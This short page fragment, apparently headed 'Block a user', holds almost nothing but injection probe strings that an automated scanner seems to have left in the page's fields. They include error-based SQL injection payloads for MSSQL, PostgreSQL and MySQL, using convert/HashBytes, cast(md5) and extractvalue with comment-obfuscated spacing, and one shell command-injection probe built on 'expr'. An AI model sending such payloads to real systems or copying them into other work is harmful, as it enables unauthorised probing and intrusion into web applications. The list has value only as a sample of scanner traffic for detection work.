Block a user
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1128710278')))>'0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1333060954')))
123456/**/and/**/cast(md5('1847305966')as/**/int)>0
123456'and(select'1'from/**/cast(md5(1347369026)as/**/int))>'0
extractvalue(1,concat(char(126),md5(1579740193)))
123456"and/**/extractvalue(1,concat(char(126),md5(1236215488)))and"
123456'and/**/extractvalue(1,concat(char(126),md5(1726260778)))and'
expr 924172629 + 828641485